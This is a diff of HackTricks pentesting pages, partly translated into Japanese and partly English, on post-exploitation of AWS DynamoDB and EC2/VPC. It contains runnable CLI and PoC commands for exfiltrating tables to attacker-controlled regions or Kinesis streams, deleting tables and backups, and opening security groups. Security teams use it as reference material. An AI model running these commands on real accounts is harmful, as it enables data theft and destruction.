+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
index 053bcbab3..08e7c66f9 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
-For more information check:
+詳細は以下を参照してください:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得**できます（テーブルの全データを一度に要求することはできません）。つまり、プライマリキーを知っている必要があり（テーブルのメタデータを取得して得られます (`describe-table`)）、そのキーに基づいてアイテムを取得します。
+この権限を持つ攻撃者は、**主キーでテーブルからアイテムを取得する**ことができます（テーブルの全データを一度に要求することはできません）。つまり、主キーを知っている必要があります（テーブルのメタデータを取得することで確認できます（`describe-table`））。
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** テーブル内の機密情報を特定することで間接的に privesc を引き起こす可能性
+**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす
 
 ### `dynamodb:GetItem`
 
-**Similar to the previous permissions** この権限は前の権限と同様に、潜在的な attacker が取得するエントリの primary key を指定することで、1つのテーブルから値を読み取ることを許可します:
+**前の権限と同様に** この権限は、潜在的な攻撃者が取得するエントリの主キーを指定した場合に、1つのテーブルから値を読み取ることを許可します:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potential Impact:** テーブル内の機密情報を特定することによる間接的な privesc
+**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な privesc
 
 ### `dynamodb:Query`
 
-**Similar to the previous permissions** この権限は、エントリを取得するための主キーがわかっている場合に、1つのテーブルから値を読み取ることを潜在的な攻撃者に許します。これは[subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)の使用を許可しますが、主キー（必ず指定される）に対して許可される比較は "EQ" のみであるため、1つのリクエストでDB全体を取得するために比較を使うことはできません。
+**前の権限と同様に** この権限は、取得対象エントリの主キーが分かれば攻撃者に対して1つのテーブルから値を読み取ることを許可します。比較の[サブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用できますが、主キー（必ず指定する必要がある）に対して許可されている比較は "EQ" のみであり、比較を使ってリクエストでデータベース全体を取得することはできません。
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc
+**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性
 
 ### `dynamodb:Scan`
 
-この権限を使用すると、**dump the entire table easily**。
+この権限を使用して、**dump the entire table easily**。
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**潜在的な影響:** テーブル内の機密情報を特定することで間接的な privesc が発生する可能性がある
+**想定される影響:** テーブル内の機密情報を特定することで間接的な privesc
 
 ### `dynamodb:PartiQLSelect`
 
-この権限を使用すると、**dump the entire table easily**。
+この権限を使用すると、**テーブル全体を簡単に dump できます**。
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-この権限により `batch-execute-statement` のような操作を実行することもできます：
+この権限は `batch-execute-statement` の実行も許可します。例えば:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-ただし、プライマリキーに値を指定する必要があるため、それほど有用ではありません。
+ただし、主キーに値を指定する必要があるため、それほど有用ではない。
 
-**潜在的な影響:** テーブル内の機密情報を特定することで間接的に privesc を引き起こす可能性
+**潜在的影響:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性がある
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-この権限により攻撃者は **export the whole table to a S3 bucket** を任意に実行できます:
+この権限により、attacker は選択した S3 バケットに**テーブル全体をエクスポートできる**：
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,34 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-この操作が動作するには、テーブルで point-in-time-recovery が有効になっている必要があります。テーブルに有効かどうかは次の方法で確認できます:
+これが機能するには、テーブルで point-in-time-recovery が有効になっている必要があることに注意してください。テーブルに有効かどうかは次のコマンドで確認できます:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-有効になっていない場合は、**有効化する必要があります**、そのためには **`dynamodb:ExportTableToPointInTime`** 権限が必要です:
+有効になっていない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Potential Impact:** テーブル内の機密情報を特定することでの間接的な privesc
+**Potential Impact:** テーブル内の機密情報を特定することによる間接的なprivesc
 
-### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` 
+### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-これらの権限があれば、攻撃者は**バックアップから新しいテーブルを作成する**ことができます（あるいは別のテーブルに復元するためにバックアップを作成することさえ可能です）。その後、必要な権限があれば、攻撃者はバックアップから**情報**を確認でき、c**本番テーブルにはもはや存在しない可能性のあるデータ**を確認できます。
+
+With these permissions, an attacker would be able to **バックアップから新しいテーブルを作成する** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **情報** from the backups that **もはや本番テーブルには存在しない**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**潜在的な影響:** テーブルのバックアップ内の機密情報を特定することで間接的な privesc を引き起こす可能性
+**Potential Impact:** テーブルのバックアップ内の機密情報を特定することによる間接的な privesc
 
 ### `dynamodb:PutItem`
 
-この権限により、ユーザーは**テーブルに新しいアイテムを追加するか既存のアイテムを新しいアイテムで置き換える**ことができます。もし同じプライマリキーを持つアイテムが既に存在する場合、**アイテム全体が新しいアイテムで置き換えられます**。プライマリキーが存在しない場合、指定したプライマリキーを持つ新しいアイテムが**作成されます**。
+この権限は、ユーザーがテーブルに**新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換える**ことを許可します。同じ主キーを持つアイテムが既に存在する場合、**アイテム全体が新しいアイテムで置き換えられます**。主キーが存在しない場合、指定された主キーを持つ新しいアイテムが**作成されます**。
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -202,11 +203,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**潜在的な影響：** DynamoDB テーブルのデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性があります
+**Potential Impact:** DynamoDBテーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性があります
 
 ### `dynamodb:UpdateItem`
 
-この権限により、ユーザーは **アイテムの既存の属性を変更するか、アイテムに新しい属性を追加する** ことができます。これはアイテム全体を**置き換える**ものではなく、指定された属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで**新しいアイテムを作成し**、更新式で指定された属性を設定します。
+この権限はユーザーにアイテムの既存の属性を**変更したり新しい属性を追加したりする**ことを許可します。アイテム全体を**置換するものではなく**、指定された属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで**新しいアイテムを作成**し、更新式で指定された属性を設定します。
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,43 +243,43 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性
+**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の悪用につながる可能性がある
 
 ### `dynamodb:DeleteTable`
 
-この権限を持つ攻撃者は**DynamoDB テーブルを削除してデータ損失を引き起こすことができる**。
+この権限を持つ攻撃者は、**DynamoDB テーブルを削除してデータ損失を引き起こすことができます**。
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失および中断。
+**潜在的な影響**: データの喪失および削除されたテーブルに依存するサービスの中断。
 
 ### `dynamodb:DeleteBackup`
 
-この権限を持つ攻撃者は **DynamoDB のバックアップを削除でき、災害復旧時にデータ損失を引き起こす可能性がある**。
+この権限を持つ攻撃者は、**DynamoDB のバックアップを削除でき、災害復旧のシナリオでデータ損失を引き起こす可能性があります**。
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**潜在的影響**: 災害復旧シナリオにおいてバックアップから復旧できないことやデータ損失。
+**Potential impact**: データの損失および障害復旧時にバックアップから復旧できない可能性。
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
 > TODO: 実際に動作するかテストする
 
-これらの権限を持つ攻撃者は、**DynamoDB テーブルで stream を有効化し、テーブルを更新して変更の streaming を開始し、その後 stream にアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより攻撃者はデータの変更を監視および exfiltrate し、潜在的に data leakage を引き起こす可能性があります。
+これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視および exfiltrate し、最終的に data leakage を引き起こす可能性があります。
 
-1. DynamoDB テーブルで stream を有効化する:
+1. DynamoDBテーブルでストリームを有効にする:
 ```bash
 aws dynamodb update-table \
 --table-name TargetTable \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
 --region <region>
 ```
-2. ストリームを説明して、ARN やその他の詳細を取得する:
+2. ストリームを説明して、ARNやその他の詳細を取得する:
 ```bash
 aws dynamodb describe-stream \
 --table-name TargetTable \
@@ -292,22 +293,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. shard iterator を使用して stream からデータにアクセスし、exfiltrate します:
+4. shard iterator を使用して stream からデータにアクセスし、exfiltrate する:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potential impact**: DynamoDB テーブルの変更のリアルタイム監視および data leakage。
+**潜在的な影響**: DynamoDB テーブルの変更をリアルタイムで監視でき、データの漏洩が発生する可能性があります。
 
 ### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` を使ってアイテムを読み取る
 
-`dynamodb:UpdateItem` の権限のみを持つ攻撃者は、通常の読み取り権限（`GetItem`/`Query`/`Scan`）を一切持たなくても、無害な更新を実行して `--return-values ALL_OLD` を要求することでアイテムを読み取ることができます。DynamoDB はレスポンスの `Attributes` フィールドに更新前のアイテムの完全なイメージを返します（これは RCUs を消費しません）。
+テーブルに対して `dynamodb:UpdateItem` の権限のみを持つ攻撃者は、通常の読み取り権限（`GetItem`/`Query`/`Scan`）がなくても、無害な更新を行い `--return-values ALL_OLD` を要求することでアイテムを読み取れます。DynamoDB はレスポンスの `Attributes` フィールドに更新前のアイテムの完全なイメージを返します（これは RCU を消費しません）。
 
-- 最小権限: ターゲットのテーブル/キーに対する `dynamodb:UpdateItem`。
-- 前提条件: アイテムの主キーを知っている必要があります。
+- 必要最小限の権限: 対象テーブル/キーに対する `dynamodb:UpdateItem`
+- 前提条件: アイテムのプライマリキーを把握していること
 
-例（無害な属性を追加し、レスポンスで前のアイテムを exfiltrates する）:
+例（無害な属性を追加し、レスポンスで更新前のアイテムを持ち出す）:
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -318,14 +319,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-CLIのレスポンスには、完全な前回のアイテム（すべての属性）を含む`Attributes`ブロックが含まれます。これにより、書き込み専用アクセスから事実上の読み取りプリミティブが提供されます。
+CLI のレスポンスには、完全な previous item（すべての属性）を含む `Attributes` ブロックが含まれ、書き込み専用アクセスから事実上の read primitive を提供します。
 
-**潜在的な影響:** 書き込み権限のみでテーブルから任意の項目を読み取ることが可能になり、プライマリキーが既知の場合に機密データのexfiltrationを可能にします。
+**Potential Impact:** 主キーが既知の場合、書き込み権限のみでテーブルから任意の項目を読み取り、機密データの exfiltration を可能にします。
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-新しいレプリカ Region をDynamoDB Global Table（version 2019.11.21）に追加することでStealth exfiltrationが行えます。プリンシパルがリージョナルレプリカを追加できる場合、テーブル全体が攻撃者が選択したRegionにレプリケートされ、そこから攻撃者はすべてのアイテムを読み取ることができます。
+DynamoDB Global Table (version 2019.11.21) に新しい replica Region を追加することでの Stealth exfiltration。もし principal が regional replica を追加できる場合、テーブル全体が attacker-chosen Region にレプリケートされ、そこから attacker はすべてのアイテムを読み取れます。
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +355,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-権限: `dynamodb:UpdateTable`（`replica-updates` を含む）または対象テーブルに対する `dynamodb:CreateTableReplica`。レプリカで CMK が使用されている場合、そのキーに対する KMS 権限が必要になることがあります。
+権限: `dynamodb:UpdateTable` (with `replica-updates`) または `dynamodb:CreateTableReplica` を対象テーブルに対して持っている必要があります。レプリカで CMK が使用されている場合、そのキーに対する KMS 権限が必要になることがあります。
 
-潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、ステルスなデータ持ち出しが発生する可能性があります。
+想定される影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、検知されにくいデータ流出が発生する可能性があります。
 
-### `dynamodb:TransactWriteItems` (条件失敗による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (失敗した条件による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を行い、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの全属性を抜き出すことができます。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、書き込み専用アクセスが対象キーの読み取りアクセスに実質的に変わります。
+トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの完全な属性を持ち出すことができます。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、特定キーに対する書き込み専用のアクセスを事実上読み取りアクセスに変換します。
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,21 +410,21 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-権限: `dynamodb:TransactWriteItems` を対象テーブル（および基になるアイテム）に対して。読み取り権限は不要です。
+権限: `dynamodb:TransactWriteItems` on the target table (and the underlying item). 読み取り権限は不要です。
 
-潜在的影響: 返されるキャンセル理由を利用して、トランザクションの書き込み権限のみでテーブルから主キーによる任意のアイテムを読み取ることができます。
+潜在的影響: 返却されるキャンセル理由を利用して、トランザクション書き込み権限のみでテーブルから（主キー指定で）任意のアイテムを読み取ることが可能です。
 
 
-### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query`（GSI上）
+### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
 
-低エントロピー属性に対して `ProjectionType=ALL` の Global Secondary Index (GSI) を作成し、その属性をアイテム間で一定の値に設定してから、インデックスを `Query` して完全なアイテムを取得することで、読み取り制限を回避します。ベーステーブルでの `Query`/`Scan` が拒否されていても、インデックスの ARN に対してクエリできれば動作します。
+低エントロピー属性に `ProjectionType=ALL` の Global Secondary Index (GSI) を作成し、その属性をアイテム間で一定の値に設定してからインデックスを `Query` して完全なアイテムを取得することで、読み取り制限を回避します。ベーステーブルでの `Query`/`Scan` が拒否されていても、インデックスの ARN に対してクエリできればこの手法は機能します。
 
-- 最小権限:
-- `dynamodb:UpdateTable` を対象テーブルに対して（`ProjectionType=ALL` の GSI を作成するため）。
-- `dynamodb:UpdateItem` を対象テーブルのキーに対して（各アイテムのインデックス化された属性を設定するため）。
-- `dynamodb:Query` をインデックスのリソースARN（`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`）に対して。
+- 最低限の権限:
+- `dynamodb:UpdateTable` on the target table (`ProjectionType=ALL` の GSI を作成するため)。
+- `dynamodb:UpdateItem` on the target table keys（各アイテムのインデックス対象属性を設定するため）。
+- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
-手順（PoC in us-east-1）：
+手順（PoC: us-east-1）：
 ```bash
 # 1) Create table and seed items (without the future GSI attribute)
 aws dynamodb create-table --table-name HTXIdx \
@@ -461,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Potential Impact:** ベーステーブルの読み取りAPIが拒否されている場合でも、すべての属性をプロジェクトする新規作成された GSI をクエリすることでテーブル全体を持ち出せる可能性があります。
+**Potential Impact:** 新しく作成した GSI をクエリして全ての属性を投影することで、ベーステーブルの読み取り APIs が拒否されている場合でもテーブル全体の exfiltration が発生する可能性があります。
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams を使った継続的な exfiltration)
 
-DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に exfiltrate します。有効化されると、INSERT/MODIFY/REMOVE の各イベントがテーブルの読み取り権限を必要とせずほぼリアルタイムでストリームへ転送されます。
+DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が制御する Kinesis Data Stream に継続的に exfiltrate します。有効化されると、INSERT/MODIFY/REMOVE の各イベントがほぼリアルタイムでストリームに転送され、テーブルの読み取り権限は不要になります。
 
-Minimum permissions (attacker):
+最小限の権限（攻撃者）:
 - 対象テーブルに対する `dynamodb:EnableKinesisStreamingDestination`
-- 状態を監視するためのオプション: `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
-- 攻撃者所有の Kinesis stream のレコードを消費するための読み取り権限: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- 任意でステータス監視のための `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
+- レコードを消費するため、攻撃者が所有する Kinesis ストリームへの読み取り権限：`kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -530,6 +531,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**潜在的影響:** テーブルの変更を攻撃者が制御する Kinesis ストリームへ、テーブルへの直接的な読み取り操作を行わずに継続的かつほぼリアルタイムで持ち出すことが可能になる。
+**潜在的影響:** テーブルに対する直接の読み取り操作を行わずに、攻撃者が管理する Kinesis ストリームへテーブルの変更を継続的かつほぼリアルタイムで流出させる。
 
-{{#include ../../../banners/hacktricks-training.md}}
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 53dd145bb..f447bb22a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,29 +1,30 @@
-# AWS - EC2, EBS, SSM & VPC ポストエクスプロイト
+# AWS - EC2, EBS, SSM & VPC Post Exploitation
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## EC2 & VPC
 
-詳細については、以下を確認してください：
+For more information check:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **悪意のあるVPCミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのインバウンドおよびアウトバウンドトラフィックを複製**し、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、通常、分析と監視のためにネットワーク侵入検知システム（IDS）などに送信されます。\
-攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます：
+VPC traffic mirroring は、インスタンス自体に何もインストールする必要なく、**VPC 内の EC2 インスタンスの着信および発信トラフィックを複製します**。  
+複製されたトラフィックは通常、分析や監視のために network intrusion detection system (IDS) のようなものに送られます。  
+攻撃者はこれを悪用して全てのトラフィックをキャプチャし、そこから機密情報を取得する可能性があります:
 
-詳細については、このページを確認してください：
+For more information check this page:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### 実行中のインスタンスのコピー
+### Copy Running Instance
 
-インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります（[EC2特権昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください）。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです（自分のアカウントであっても）**：
+インスタンスには通常何らかの機密情報が含まれています。内部に入る方法はいくつかあります（詳細は [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md) を参照）。しかし、含まれているものを確認する別の方法として、**AMI を作成してそこから新しいインスタンスを起動する（自分のアカウント内でも可）**：
 ```shell
 # List instances
 aws ec2 describe-images
@@ -47,112 +48,176 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
 aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 ```
-### EBSスナップショットダンプ
+### EBS Snapshot dump
 
-**スナップショットはボリュームのバックアップ**であり、通常は**機密情報**を含むため、これを確認することでこの情報が明らかになる可能性があります。\
-**スナップショットのないボリューム**を見つけた場合は、**スナップショットを作成**して次のアクションを実行するか、単に**インスタンスにマウント**することができます：
+**Snapshots are backups of volumes** は通常 **機密情報** を含むため、確認することでこれらの情報が明らかになります。  
+もし **volume without a snapshot** を見つけたら、**Create a snapshot** を作成して以下の操作を行うか、またはアカウント内のインスタンスに**mount it in an instance**するだけでもよいです:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
-### データの流出
+### Covert Disk Exfiltration via AMI Store-to-S3
 
-#### DNS流出
+EC2 AMI を `CreateStoreImageTask` を使って直接 S3 にエクスポートし、snapshot sharing を介さずに生のディスクイメージを取得します。これによりインスタンスのネットワーク設定を変更せずに、オフラインでの完全なフォレンジックやデータ窃取が可能になります。
 
-EC2をロックダウンしてトラフィックが外に出られないようにしても、**DNS経由で流出する**可能性があります。
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
 
-- **VPCフローログはこれを記録しません**。
-- AWS DNSログへのアクセスはありません。
-- 次のコマンドで"enableDnsSupport"をfalseに設定することでこれを無効にします：
+### Live Data Theft via EBS Multi-Attach
+
+io1/io2 の Multi-Attach ボリュームを別のインスタンスにアタッチし、読み取り専用でマウントしてスナップショットを取らずにライブデータを吸い上げます。被害者のボリュームが同じ AZ 内で既に Multi-Attach が有効になっている場合に有用です。
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+EC2 Instance Connect Endpoint を作成し、ingress を許可して一時的な SSH キーを注入することで、managed tunnel 経由でプライベートインスタンスにアクセスできます。パブリックポートを開けずに迅速な横移動経路を確保します。
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+被害者の ENI のセカンダリ private IP を攻撃者が制御する ENI に移動し、IP で allowlisted された信頼済みホストを偽装します。特定アドレスに紐づく内部 ACL や SG ルールを回避できます。
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+被害者インスタンスから Elastic IP を攻撃者側に再関連付けすることで、着信トラフィックを傍受したり、信頼されたパブリック IP から来ているように見える発信接続を行えます。
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+Security Group のルールが customer-managed prefix list を参照している場合、攻撃者の CIDR をそのリストに追加するだけで、SG 本体を変更せずに依存するすべての SG ルールへのアクセスが静かに拡大します。
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+gateway または interface の VPC endpoint を作成して、分離されたサブネットからのアウトバウンドアクセスを取り戻します。AWS-managed private links を利用することで、IGW/NAT が無い制御をバイパスしてデータ exfiltration を行えます。
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウントの外でネットワークメタデータ（送信元/宛先、ポート等）を継続的に収集し、長期的な偵察を行えます。
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
+### Data Exfiltration
+
+#### DNS Exfiltration
+
+たとえ EC2 を外部通信禁止にしても、**exfil via DNS** は可能です。
+
+- **VPC Flow Logs はこれを記録しません。**
+- AWS の DNS ログにはアクセスできません。
+- これを無効化するには "enableDnsSupport" を false に設定します:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
-#### APIコールによる流出
+#### Exfiltration via API calls
 
-攻撃者は、自身が管理するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらの呼び出しをログに記録し、攻撃者はCloudtrailログで流出したデータを見ることができます。
+攻撃者は自分が制御するアカウントの API エンドポイントを呼び出すことができます。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail ログ内で流出したデータを確認できます。
 
-### オープンセキュリティグループ
+### Open Security Group
 
-このようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得ることができます：
+このようにポートを開くことでネットワークサービスへのさらなるアクセスを得られます:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS
 
-EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。
+EC2インスタンスを実行して登録し、それを使ってECSインスタンスを実行させたあとに、ECSインスタンスのデータを盗むことが可能です。
 
